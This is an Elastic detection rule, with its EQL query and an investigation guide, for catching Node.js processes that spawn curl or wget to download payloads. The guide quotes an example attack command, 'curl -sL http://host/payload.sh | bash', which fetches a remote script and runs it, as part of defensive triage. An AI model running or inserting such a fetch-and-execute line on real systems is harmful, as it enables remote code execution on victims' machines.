Curl or Wget Spawned via Node.js

This rule detects when Node.js, directly or via a shell, spawns the curl or wget command. This may indicate command and control behavior. Adversaries may use Node.js to download additional tools or payloads onto the system.

Elastic rule (View on GitHub)

  1[metadata]
  2creation_date = "2025/09/18"
  3integration = ["endpoint", "windows", "system", "sentinel_one_cloud_funnel", "crowdstrike", "auditd_manager"]
  4maturity = "production"
  5updated_date = "2025/11/26"
  6
  7[rule]
  8author = ["Elastic"]
  9description = """
 10This rule detects when Node.js, directly or via a shell, spawns the curl or wget command. This may indicate
 11command and control behavior. Adversaries may use Node.js to download additional tools or payloads onto
 12the system.
 13"""
 14from = "now-9m"
 15index = [
 16    "endgame-*",
 17    "logs-crowdstrike.fdr*",
 18    "logs-endpoint.events.process-*",
 19    "logs-sentinel_one_cloud_funnel.*",
 20    "logs-system.security*",
 21    "logs-windows.forwarded*",
 22    "logs-windows.sysmon_operational-*",
 23    "winlogbeat-*",
 24    "auditbeat-*",
 25    "logs-auditd_manager.auditd-*"
 26]
 27language = "eql"
 28license = "Elastic License v2"
 29name = "Curl or Wget Spawned via Node.js"
 30note = """## Triage and analysis
 31
 32> **Disclaimer**:
 33> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
 34
 35### Investigating Curl or Wget Spawned via Node.js
 36
 37This rule flags Node.js launching curl or wget, directly or via a shell, a common technique to fetch payloads and enable command-and-control. Attackers often abuse child_process in Node apps to run "curl -sL http://host/payload.sh | bash," pulling a second stage from a remote host and executing it immediately under the guise of legitimate application activity.
 38
 39### Possible investigation steps
 40
 41- Pull the full process tree and command line to extract URLs/domains, flags (e.g., -sL, -O, --insecure), and identify whether the output is piped into an interpreter, indicating immediate execution risk.
 42- Correlate with file system activity to find newly created or modified artifacts (e.g., in /tmp, /var/tmp, /dev/shm, or the app directory), then hash and scan them and check for follow-on executions.
 43- Pivot to network telemetry to enumerate connections around the event from both Node.js and the child process, assessing destination reputation (IP/domain, ASN, geo, cert/SNI) against approved update endpoints.
 44- Trace the initiating Node.js code path and deployment (child_process usage such as exec/spawn/execFile), and review package.json lifecycle scripts and recent npm installs or postinstall hooks for unauthorized download logic.
 45- Verify user and runtime context (service account/container/pod), inspect environment variables like HTTP(S)_PROXY/NO_PROXY, and check whether credentials or tokens were passed to curl/wget to assess exposure.
 46
 47### False positive analysis
 48
 49- A legitimate Node.js service executes curl or wget to retrieve configuration files, certificates, or perform health checks against approved endpoints during startup or routine operation.
 50- Node.js install or maintenance scripts use a shell with -c to run curl or wget and download application assets or updates, triggering the rule even though this aligns with expected deployment workflows.
 51
 52### Response and remediation
 53
 54- Immediately isolate the affected host or container, stop the Node.js service that invoked curl/wget (and any parent shell), terminate those processes, and block the exact URLs/domains/IPs observed in the command line and active connections.
 55- Quarantine and remove any artifacts dropped by the downloader (e.g., files in /tmp, /var/tmp, /dev/shm or paths specified by -O), delete added cron/systemd entries referencing those files, and revoke API tokens or credentials exposed in the command line or headers.
 56- Escalate to full incident response if output was piped to an interpreter (curl ... | bash or wget ... | sh), if --insecure/-k or self-signed endpoints were used, if unknown external infrastructure was contacted, or if secrets were accessed or exfiltrated.
 57- Rebuild and redeploy the workload from a known-good image, remove the malicious child_process code path from the Node.js application, restore validated configs/data, rotate any keys or tokens used by that service, and verify no further curl/wget spawns occur post-recovery.
 58- Harden by removing curl/wget from runtime images where not required, enforcing egress allowlists for the service, constraining execution with AppArmor/SELinux/seccomp and least-privilege service accounts, and adding CI/CD checks to block package.json postinstall scripts or code that shells out to downloaders.
 59"""
 60risk_score = 47
 61rule_id = "d9af2479-ad13-4471-a312-f586517f1243"
 62setup = """## Setup
 63
 64This rule requires data coming in from Elastic Defend.
 65
 66### Elastic Defend Integration Setup
 67Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.
 68
 69#### Prerequisite Requirements:
 70- Fleet is required for Elastic Defend.
 71- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).
 72
 73#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:
 74- Go to the Kibana home page and click "Add integrations".
 75- In the query bar, search for "Elastic Defend" and select the integration to see more details about it.
 76- Click "Add Elastic Defend".
 77- Configure the integration name and optionally add a description.
 78- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads".
 79- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).
 80- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions"
 81- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead.
 82For more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).
 83- Click "Save and Continue".
 84- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts.
 85For more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).
 86"""
 87severity = "medium"
 88tags = [
 89  "Domain: Endpoint",
 90  "OS: Linux",
 91  "OS: Windows",
 92  "OS: macOS",
 93  "Use Case: Threat Detection",
 94  "Tactic: Command and Control",
 95  "Resources: Investigation Guide",
 96  "Data Source: Elastic Defend",
 97  "Data Source: Elastic Endgame",
 98  "Data Source: Windows Security Event Logs",
 99  "Data Source: Sysmon",
100  "Data Source: SentinelOne",
101  "Data Source: Crowdstrike",
102  "Data Source: Auditd Manager",
103]
104timestamp_override = "event.ingested"
105type = "eql"
106query = '''
107process where event.type == "start" and
108 event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and
109 process.parent.name in ("node", "bun", "node.exe", "bun.exe") and (
110  (
111    process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "cmd.exe", "bash.exe", "powershell.exe") and
112    process.command_line like~ ("*curl*http*", "*wget*http*")
113  ) or 
114  (
115    process.name in ("curl", "wget", "curl.exe", "wget.exe")
116  )
117) and
118 not process.command_line like ("*127.0.0.1*", "*localhost*")
119'''
120
121[[rule.threat]]
122framework = "MITRE ATT&CK"
123
124  [rule.threat.tactic]
125  name = "Command and Control"
126  id = "TA0011"
127  reference = "https://attack.mitre.org/tactics/TA0011/"
128
129  [[rule.threat.technique]]
130  name = "Application Layer Protocol"
131  id = "T1071"
132  reference = "https://attack.mitre.org/techniques/T1071/"
133
134    [[rule.threat.technique.subtechnique]]
135    name = "Web Protocols"
136    id = "T1071.001"
137    reference = "https://attack.mitre.org/techniques/T1071/001/"

Triage and analysis

Disclaimer: This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

Investigating Curl or Wget Spawned via Node.js

This rule flags Node.js launching curl or wget, directly or via a shell, a common technique to fetch payloads and enable command-and-control. Attackers often abuse child_process in Node apps to run "curl -sL http://host/payload.sh | bash," pulling a second stage from a remote host and executing it immediately under the guise of legitimate application activity.

Possible investigation steps

  • Pull the full process tree and command line to extract URLs/domains, flags (e.g., -sL, -O, --insecure), and identify whether the output is piped into an interpreter, indicating immediate execution risk.
  • Correlate with file system activity to find newly created or modified artifacts (e.g., in /tmp, /var/tmp, /dev/shm, or the app directory), then hash and scan them and check for follow-on executions.
  • Pivot to network telemetry to enumerate connections around the event from both Node.js and the child process, assessing destination reputation (IP/domain, ASN, geo, cert/SNI) against approved update endpoints.
  • Trace the initiating Node.js code path and deployment (child_process usage such as exec/spawn/execFile), and review package.json lifecycle scripts and recent npm installs or postinstall hooks for unauthorized download logic.
  • Verify user and runtime context (service account/container/pod), inspect environment variables like HTTP(S)_PROXY/NO_PROXY, and check whether credentials or tokens were passed to curl/wget to assess exposure.

False positive analysis

  • A legitimate Node.js service executes curl or wget to retrieve configuration files, certificates, or perform health checks against approved endpoints during startup or routine operation.
  • Node.js install or maintenance scripts use a shell with -c to run curl or wget and download application assets or updates, triggering the rule even though this aligns with expected deployment workflows.

Response and remediation

  • Immediately isolate the affected host or container, stop the Node.js service that invoked curl/wget (and any parent shell), terminate those processes, and block the exact URLs/domains/IPs observed in the command line and active connections.
  • Quarantine and remove any artifacts dropped by the downloader (e.g., files in /tmp, /var/tmp, /dev/shm or paths specified by -O), delete added cron/systemd entries referencing those files, and revoke API tokens or credentials exposed in the command line or headers.
  • Escalate to full incident response if output was piped to an interpreter (curl ... | bash or wget ... | sh), if --insecure/-k or self-signed endpoints were used, if unknown external infrastructure was contacted, or if secrets were accessed or exfiltrated.
  • Rebuild and redeploy the workload from a known-good image, remove the malicious child_process code path from the Node.js application, restore validated configs/data, rotate any keys or tokens used by that service, and verify no further curl/wget spawns occur post-recovery.
  • Harden by removing curl/wget from runtime images where not required, enforcing egress allowlists for the service, constraining execution with AppArmor/SELinux/seccomp and least-privilege service accounts, and adding CI/CD checks to block package.json postinstall scripts or code that shells out to downloaders.

Related rules

to-top